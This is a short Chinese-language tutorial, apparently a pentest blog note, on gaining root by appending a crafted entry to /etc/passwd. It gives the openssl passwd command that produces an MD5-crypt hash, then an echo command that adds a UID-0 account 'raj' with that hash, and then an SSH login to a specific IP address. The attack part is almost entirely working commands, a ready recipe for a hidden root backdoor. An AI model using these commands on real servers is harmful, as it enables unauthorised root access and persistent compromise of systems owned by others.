passwd文件写入用户密码
passwd文件写入用户密码
在有/etc/passwd写入权限的情况下,通过写入一条账号密码,可以直接使用写入的账号密码登录服务器。
第一步:使用openssl passwd生成加密后的密码
openssl passwd -1 -salt raj #生成加密后的密码, -salt 加盐,-1 linux密码加密方式
123@wacky #输入密码
$1$raj$PUzoloEwPB0aeoBnAB6CO/ #加密后的密码
第二步:追加构造好的passwd行到/etc/passwd文件中
echo 'raj:$1$raj$PUzoloEwPB0aeoBnAB6CO/:0:0::/root:/bin/bash' >>/etc/passwd #添加到root组中,并且用户id为0 ,登录后whoami为root
tail passwd #查看修改添加结果
应具备ssh远程的条件,安装开启了ssh服务,ssh端口对外开放。
ssh raj@207.107.114.64 -p 22
参考:
openssl passwd - 骏马金龙 - 博客园
https://www.cnblogs.com/f-ck-need-u/p/6089869.html
openssl用法详解 - Echo/ - 博客园
https://www.cnblogs.com/yangxiaolan/p/6256838.html